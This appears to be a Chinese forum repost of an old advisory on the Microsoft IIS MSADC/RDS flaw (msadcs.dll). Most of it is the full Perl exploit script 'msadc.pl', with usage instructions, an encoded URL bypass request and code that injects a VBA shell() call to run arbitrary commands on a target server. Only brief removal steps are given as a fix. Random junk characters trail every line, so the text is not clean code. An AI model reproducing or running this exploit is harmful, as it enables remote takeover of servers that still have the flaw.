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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) qwb`8o  
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涉及程序: <?TJ-   
Microsoft NT server &<u pjb  
$j~oB:3n7  
描述: _n3Jf<Y  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Oc]&1>M  
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详细: z"eh.&T  
如果你没有时间读详细内容的话,就删除: ?gSk%]S/!  
c:\Program Files\Common Files\System\Msadc\msadcs.dll biFN]D  
有关的安全问题就没有了。 GM/3*S$c  
N".-]bB  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 V zx%N.  
]Mh7;&<6[  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 KAg<s}gQJ  
关于利用ODBC远程漏洞的描述,请参看: )-3!-1  
1m/=MET]  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm by {G{M`X  
,{C(<1  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 GXEOgf#i  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp /WDz;,X  
cZRLYOC  
这里不再论述。 r: _- Cj  
RRD\V3C84  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ^"w.v' sL  
;z9(  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset NVnKgGlHgd  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! /HNZwbh]uJ  
"9[K  
Y/t:9Aau  
#将下面这段保存为txt文件,然后: "perl -x 文件名" y*M,&,$  
Q<L.!%vu}  
#!perl ,EgIH%* g  
# {-rK:*yP'u  
# MSADC/RDS 'usage' (aka exploit) script -=E/_c;  
# yG0Wr=/<?  
# by rain.forest.puppy K/~+bq# +  
# Zq|oj^  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me yaf&SR@7k{  
# beta test and find errors! @1 #$  
vf@d (g  
use Socket; use Getopt::Std; sz.(_{5!  
getopts("e:vd:h:XR", \%args); AJrwl^ lm  
~6'6v 8  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; P,"z  
xG_ ;F  
if (!defined $args{h} && !defined $args{R}) { 4\q7.X+^  
print qq~ AW LKve_  
Usage: msadc.pl -h <host> { -d <delay> -X -v } %r5&CUE5?  
-h <host> = host you want to scan (ip or domain) Y2Mti- \  
-d <seconds> = delay between calls, default 1 second Vgs( feGs  
-X = dump Index Server path table, if available JF*JF Ob  
-v = verbose F9e$2J)C  
-e = external dictionary file for step 5 W%09.bF  
]lF'o&v]  
Or a -R will resume a command session jlER_I]  
:^SpKe(7  
~; exit;} ->}K-n ),  
DYH-5yX7  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Z*kGWL  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} i:WHql"Kw_  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} V/+r"le  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); a4,bP*H  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Do(7LidC5  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } { e2 (  
uNnwz%w  
if (!defined $args{R}){ $ret = &has_msadc; -p>KFHj6  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ewgcpV|spn  
@2 dp5  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" asR6,k  
. "cmd /c "; XJ]MPiXj  
$in=<STDIN>; chomp $in; >b-rAO\{}  
$command="cmd /c " . $in ; UD*#!H  
@Q x|!%  
if (defined $args{R}) {&load; exit;} I TJ>[c]x  
`sN3iD!@R  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; w2~(/RgO  
&try_btcustmr; o lNL|WJ`w  
`hS<F" j  
print "\nStep 2: Trying to make our own DSN..."; 8N(bLGUG  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; bF' ~&<c  
76)(G/  
print "\nStep 3: Trying known DSNs..."; j:|60hDz^  
&known_dsn; mf@YmKbp  
UL[4sv6\9  
print "\nStep 4: Trying known .mdbs..."; ~`hI|i<]  
&known_mdb; R*TCoEKO  
8N6a=[fv<  
if (defined $args{e}){ ^lu)'z%6  
print "\nStep 5: Trying dictionary of DSN names..."; AnPm5i.  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } /[[zAq{OA  
N)RWC7th{  
print "Sorry Charley...maybe next time?\n"; _OcgD<  
exit; }QncTw0  
5"y p|Yl  
############################################################################## svyC(m)'  
K4n1#]8i  
sub sendraw { # ripped and modded from whisker &tD`~  
sleep($delay); # it's a DoS on the server! At least on mine... ?9!tMRb  
my ($pstr)=@_; N)  {  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ;lX:EU  
die("Socket problems\n"); {<~XwJ.  
if(connect(S,pack "SnA4x8",2,80,$target)){ z.Y7u3K.8  
select(S); $|=1; HcHfwLin0  
print $pstr; my @in=<S>; %8$JL=c  
select(STDOUT); close(S); ^i-%FY_i5}  
return @in; \9se~tAl3  
} else { die("Can't connect...\n"); }} 'A !Dg  
uA!T@>vl  
############################################################################## nB,FJJ{kb  
T|ZZkNP|6  
sub make_header { # make the HTTP request I2j;9Qcz  
my $msadc=<<EOT #jr;.;8sQ  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 S97.O@V!$  
User-Agent: ACTIVEDATA Z6>:k,-Ot  
Host: $ip )\^o<x2S  
Content-Length: $clen :v{ $]wg  
Connection: Keep-Alive 1a4QWGpq  
+@%9pbM"z  
ADCClientVersion:01.06 V.Xz n  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ~JLqx/[|s  
v_c'npC  
--!ADM!ROX!YOUR!WORLD! ![abDT5![  
Content-Type: application/x-varg {,APZ`q|  
Content-Length: $reqlen J-?\,N1R7  
N>ct`a)BD/  
EOT w,3`Xq@  
; $msadc=~s/\n/\r\n/g; -#gb {vj  
return $msadc;} .&@|)u  
>w j7Y`  
############################################################################## jI;bVG  
O|y-nAZgU  
sub make_req { # make the RDS request tO[+O=d  
my ($switch, $p1, $p2)=@_; GetUCb%1  
my $req=""; my $t1, $t2, $query, $dsn; 0A?w,A`"  
a' #-%!]  
if ($switch==1){ # this is the btcustmr.mdb query &1Cq+YpI  
$query="Select * from Customers where City=" . make_shell(); Bf'jXM{-  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . }%k"qW<Y  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} <u2*(BM4  
fy_'K}i3k  
elsif ($switch==2){ # this is general make table query #Z$6> Xt  
$query="create table AZZ (B int, C varchar(10))"; & p_;&P_  
$dsn="$p1";} ` V^#Sb  
i $I|JJJ  
elsif ($switch==3){ # this is general exploit table query :-"J)^V  
$query="select * from AZZ where C=" . make_shell(); {]D!@87  
$dsn="$p1";} x ;Gyo  
j~Gu;%tq  
elsif ($switch==4){ # attempt to hork file info from index server bq(*r:`"  
$query="select path from scope()"; [PX'Jer  
$dsn="Provider=MSIDXS;";} BLaX p0  
'd U$QO  
elsif ($switch==5){ # bad query Jh466; E  
$query="select"; [0&Lvx  
$dsn="$p1";} &/JnAfmYqt  
}(o/+H4  
$t1= make_unicode($query); LG<lZ9+y  
$t2= make_unicode($dsn); _L$)~},cT  
$req = "\x02\x00\x03\x00"; =r-Wy.a@  
$req.= "\x08\x00" . pack ("S1", length($t1)); 3gabk/  
$req.= "\x00\x00" . $t1 ; W^=89I4]  
$req.= "\x08\x00" . pack ("S1", length($t2)); $\^]MxI  
$req.= "\x00\x00" . $t2 ;  V'mpl  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; r`B+ KQ4  
return $req;} e#nTp b  
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############################################################################## 3@"VS_;?  
iL,3g[g  
sub make_shell { # this makes the shell() statement ItaJgtsV  
return "'|shell(\"$command\")|'";} B:mlBSH  
.9^;? Ts  
############################################################################## 'h= >ej*  
q!ZmF1sU  
sub make_unicode { # quick little function to convert to unicode ]#:xl}'LS  
my ($in)=@_; my $out; w x,;  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } q yJpm{  
return $out;} +z[!]^H]4  
.<NXk"\!y  
############################################################################## qFs<s<]  
,o}[q92@w  
sub rdo_success { # checks for RDO return success (this is kludge) $1dI  
my (@in) = @_; my $base=content_start(@in); [ThzLk#m  
if($in[$base]=~/multipart\/mixed/){ CqX%V":2  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} P)\f\yb  
return 0;} %qE#^ U  
 C|lMXp\*  
############################################################################## @2$8o]et  
?Jr<gn^D  
sub make_dsn { # this makes a DSN for us {(q U n  
my @drives=("c","d","e","f"); V3+%KkN  
print "\nMaking DSN: "; ]_pL79y  
foreach $drive (@drives) { /Z@.;M  
print "$drive: "; 8/F2V?iT  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . }>1E,3A:%G  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" $U0(%lIU  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); -qEr-[z  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; % (.PRRI  
return 0 if $2 eq "404"; # not found/doesn't exist W1!eY,1}  
if($2 eq "200") { #rC/y0niH  
foreach $line (@results) { &%bX&;ECzf  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} d{trO;%#f  
} return 0;} g Q9ff,  
Rd$<R  
############################################################################## W&Hf}q s  
-)Vj08aP  
sub verify_exists { JQ1VCG  
my ($page)=@_; 0x & ^{P~  
my @results=sendraw("GET $page HTTP/1.0\n\n"); avz 4 &  
return $results[0];} > @%!r  
<f*0 XJ#  
############################################################################## 8(I"C$D!k  
C;ye%&g>  
sub try_btcustmr { BY d3rI  
my @drives=("c","d","e","f"); w '"7~uN  
my @dirs=("winnt","winnt35","winnt351","win","windows"); yh)q96m-V=  
fI|1@e1  
foreach $dir (@dirs) { `WT7w']NT  
print "$dir -> "; # fun status so you can see progress "<(~  
foreach $drive (@drives) { +W1rm$Q  
print "$drive: "; # ditto ,rdM{ r  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ~;W%s  
$reqlenlen=length( "$reqlen" ); 1%+^SR72  
$clen= 206 + $reqlenlen + $reqlen; l*u@T|Fc$  
4jW{IGW  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); *Tlv'E.M  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 72 6y/o  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} k?#6j1pn  
40E[cGz$*  
############################################################################## neBkwXF!  
<*+ MBF  
sub odbc_error { ivq4/Y] -X  
my (@in)=@_; my $base; pDLo`F}A  
my $base = content_start(@in); @RP|?Xc{?  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this J\*d4I<(Rt  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; |H4'*NP"  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; >gE_?%a[  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; R[c_L=  
return $in[$base+4].$in[$base+5].$in[$base+6];} _6' g]4  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; b+hY^$//  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . . <B1i  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} hTm}j,H  
I}WJ0}R  
############################################################################## ;'p'8lts  
8f.La  
sub verbose { ?1uAY.~ZZB  
my ($in)=@_; O2e "TH3  
return if !$verbose; y)}aySQK^  
print STDOUT "\n$in\n";} _biJch  
D/WS  
############################################################################## {JgN^R<5<f  
OOCeZ3yF(  
sub save { kWd'gftQ  
my ($p1, $p2, $p3, $p4)=@_; t/Fe"T[,V  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; UU;:x"4  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; z#4g,)ZX  
close OUT;} 7 'S]  
63HkN4D4  
############################################################################## v`&Z.9!Tz^  
ob{pQx7  
sub load { ^XM;D/Gp~  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ]`prDw'  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); m C Ge*V}  
@p=<IN>; close(IN); 0 *\=Q$Yy  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); @2gMtf?<  
$target= inet_aton($ip) || die("inet_aton problems"); K5SO($  
print "Resuming to $ip ..."; YSgF'qq\  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; )VT/kIq-U  
if($p[1]==1) { l+6(|"md  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 0pFHE>  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; +mQSlEo  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); pQNFH)=nw  
if (rdo_success(@results)){print "Success!\n";} o__q)"^~-  
else { print "failed\n"; verbose(odbc_error(@results));}} L ~w=O!  
elsif ($p[1]==3){ 6{'6_4;Fv(  
if(run_query("$p[3]")){ ^|C|=q~:  
print "Success!\n";} else { print "failed\n"; }} F0Hbklr  
elsif ($p[1]==4){ &[kgrRF@HU  
if(run_query($drvst . "$p[3]")){ ,k!a3"4+TJ  
print "Success!\n"; } else { print "failed\n"; }} fR%8?6  
exit;} u $#7W>R  
1RA$hW@}  
############################################################################## )^TQedF  
PS6`o  
sub create_table { cy4'q ?r  
my ($in)=@_; Pc'?p  
$reqlen=length( make_req(2,$in,"") ) - 28; &pm{7nH  
$reqlenlen=length( "$reqlen" ); `qTY  
$clen= 206 + $reqlenlen + $reqlen; >9`ep7  
my @results=sendraw(make_header() . make_req(2,$in,"")); m+vEs,W.  
return 1 if rdo_success(@results); w>u Z$/  
my $temp= odbc_error(@results); verbose($temp); >{a,]q*  
return 1 if $temp=~/Table 'AZZ' already exists/; p( *3U[1  
return 0;} Q8?D}h  
+pvJ?"J  
############################################################################## M>@R=f  
W1 Qc1T8  
sub known_dsn { >nQ yF  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go {M/c!  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", keskD  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", dU6LB+A  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); I0K!Kcu5Iu  
09Y?!,  
foreach $dSn (@dsns) { |@.<} /  
print "."; BA,6f?ktXS  
next if (!is_access("DSN=$dSn")); s.'\&B[  
if(create_table("DSN=$dSn")){ RWFf-VA?  
print "$dSn successful\n"; G:`Jrh  
if(run_query("DSN=$dSn")){ D}sGBsOW  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { zF&UdS3  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 5#.\pR{Gd  
vc #oALc&  
############################################################################## vv/,Rgv  
^z^e*<{WEl  
sub is_access { I!gj;a?R  
my ($in)=@_; X vMG09  
$reqlen=length( make_req(5,$in,"") ) - 28; PU5mz.&0'  
$reqlenlen=length( "$reqlen" ); A@(h!Cq  
$clen= 206 + $reqlenlen + $reqlen; T+RI8.#o  
my @results=sendraw(make_header() . make_req(5,$in,"")); '*u;:[73  
my $temp= odbc_error(@results); bK\WdG\;  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Y,btL'[W  
return 0;} f<Tz#w&6W  
a +yI2s4Z  
############################################################################## !m(L0YH  
I^(#\vRW  
sub run_query { Aq%^>YAp  
my ($in)=@_; @T1+b"TC  
$reqlen=length( make_req(3,$in,"") ) - 28; ?3TV:fx"X  
$reqlenlen=length( "$reqlen" ); ?VQLY=?  
$clen= 206 + $reqlenlen + $reqlen;  /;6@M=6u  
my @results=sendraw(make_header() . make_req(3,$in,"")); 0WE1}.J<  
return 1 if rdo_success(@results); ?7)(qnbe"  
my $temp= odbc_error(@results); verbose($temp); E5G"QnxR>N  
return 0;} + <9 eN  
,$zlw\  
############################################################################## I0+wczW,^  
1xAFu+  
sub known_mdb { %aBJ+V F  
my @drives=("c","d","e","f","g"); :gscW& k  
my @dirs=("winnt","winnt35","winnt351","win","windows"); KTjlWxD  
my $dir, $drive, $mdb; P 4*MV  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; wI@I(r~ g  
]^jdO##M  
# this is sparse, because I don't know of many u# WTh%/  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 917 0bmr  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 9+ l3 $  
"\\system32\\certmdb.mdb", e~.?:7t  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% k_>Fw>Y  
<3=qLm  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", NLZZMr  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Du:p!nO  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", YQV?S  
"\\cfusion\\cfapps\\security\\realm_.mdb", W^.-C  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ^7 bf8 ^`  
"\\cfusion\\database\\cfexamples.mdb", UXPegK!  
"\\cfusion\\database\\cfsnippets.mdb", Wk#h,p3  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", E8_Le  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", R{uJczu  
"\\cfusion\\brighttiger\\database\\cleam.mdb", t tFY _F~S  
"\\cfusion\\database\\smpolicy.mdb", aq+IC@O  
"\\cfusion\\database\cypress.mdb", E\~ KVn  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ITIj=!F*  
"\\website\\cgi-win\\dbsample.mdb", %M#?cmt  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", C]yQ "b  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" h^+C)6(58n  
); #these are just k\sM;bCv7  
foreach $drive (@drives) { Nv?-*&L  
foreach $dir (@dirs){ |"YA<e %  
foreach $mdb (@sysmdbs) { 5 k%9>U%$  
print "."; S=H_9io  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ =lC;^&D-0/  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; hMeqs+  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ w zqd g  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; $dh4T";  
} else { print "Something's borked. Use verbose next time\n"; }}}}} *Ht*)l?  
D"XX920$~  
foreach $drive (@drives) { \!JS7!+  
foreach $mdb (@mdbs) { EEs-&  
print "."; WAB0e~e:|Q  
if(create_table($drv . $drive . $dir . $mdb)){ }PQSCl^I  
print "\n" . $drive . $dir . $mdb . " successful\n"; g:DTVq  
if(run_query($drv . $drive . $dir . $mdb)){ yvd `nV  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; T3 9C lH  
} else { print "Something's borked. Use verbose next time\n"; }}}} X')Zm+  
} 3<Z'F}lg  
AwXt @!(  
############################################################################## !Wixs]od   
{(z(NgXG/  
sub hork_idx { jc&/}o$K  
print "\nAttempting to dump Index Server tables...\n"; +an^e'  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ^{*f3m/  
$reqlen=length( make_req(4,"","") ) - 28; 2Za ,4'  
$reqlenlen=length( "$reqlen" ); u-QO>3oY6  
$clen= 206 + $reqlenlen + $reqlen; 2zKo  
my @results=sendraw2(make_header() . make_req(4,"","")); 1<a@p}  
if (rdo_success(@results)){ y=9Dxst"V  
my $max=@results; my $c; my %d; p2x1xv  
for($c=19; $c<$max; $c++){ Seq]NkgY  
$results[$c]=~s/\x00//g; i#RElH  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; P}hY {y'  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Z.:<TrN  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Q^lQi\[  
$d{"$1$2"}="";} kOAY@a  
foreach $c (keys %d){ print "$c\n"; } &{zwM |Q@?  
} else {print "Index server doesn't seem to be installed.\n"; }} Wm)-zvNY;  
NFY|^*bll  
############################################################################## m0|Ae@g~3  
Zj1ZU[BEcL  
sub dsn_dict { J3~hzgY  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ,](v?v.[4  
while(<IN>){ Jh$"fr3  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; F)/~p&H  
next if (!is_access("DSN=$dSn")); df4sOqU  
if(create_table("DSN=$dSn")){ U=F-] lD  
print "$dSn successful\n"; 4|6&59?pnc  
if(run_query("DSN=$dSn")){ tE]5@b,R  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { w|}W(=#  
print "Something's borked. Use verbose next time\n";}}} NtY*sUKRD  
print "\n"; close(IN);} 9fP) Fwih  
=R&)hlm  
############################################################################## }dX/Y /  
(_w %  
sub sendraw2 { # ripped and modded from whisker 4ZI!,lv*  
sleep($delay); # it's a DoS on the server! At least on mine... tw'hh@7-Y  
my ($pstr)=@_; ADYx.8M|9i  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 8cK\myn.  
die("Socket problems\n"); =w ^TcV  
if(connect(S,pack "SnA4x8",2,80,$target)){ lf%b0na?r  
print "Connected. Getting data"; >f\zCT%cf  
open(OUT,">raw.out"); my @in; -BA"3 S  
select(S); $|=1; print $pstr; ~$4]HDg  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} -`!_h[   
close(OUT); select(STDOUT); close(S); return @in; pbDw Lo]  
} else { die("Can't connect...\n"); }} &Y,Q>bu  
-F"d0a,  
############################################################################## / R_ u\?k(  
{)B9Z I{+A  
sub content_start { # this will take in the server headers CKv&Re  
my (@in)=@_; my $c; F!7f_m0=  
for ($c=1;$c<500;$c++) { g7xbyB o7  
if($in[$c] =~/^\x0d\x0a/){ +/y{^}b/  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } xLx"*jyL  
else { return $c+1; }}} K2cq97k,d  
return -1;} # it should never get here actually 8jy-z"jc  
e0f":Vct  
############################################################################## >ik1]!j]Lv  
]3L@$`ys  
sub funky { (8CCesy&  
my (@in)=@_; my $error=odbc_error(@in); \!^i;1h0c3  
if($error=~/ADO could not find the specified provider/){ m[Z6VHn  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; uR#'lb`3  
exit;} IQ3n@  
if($error=~/A Handler is required/){ @Ex;9F,Q  
print "\nServer has custom handler filters (they most likely are patched)\n"; },DyU  
exit;} bh6d./  
if($error=~/specified Handler has denied Access/){ >0PUWr$8  
print "\nServer has custom handler filters (they most likely are patched)\n"; f.| |PH  
exit;}} LthGZ|>  
Dd| "iA  
############################################################################## +0]'| tF>  
g<fDY6jt  
sub has_msadc { WP5VcBC  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Bv^+d\*1  
my $base=content_start(@results); Z^s+vi  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); *(k%MTG  
return 0;} i"L }!5  
QU:EY'2  
######################## pT4qPta,2  
Ptx,2e&Hq  
[%)@|^hw91  
解决方案: * [tc  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 6|,e%  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 *=Doe2(!C  
)s7bJjT0=X  
拿出来充数 哈哈
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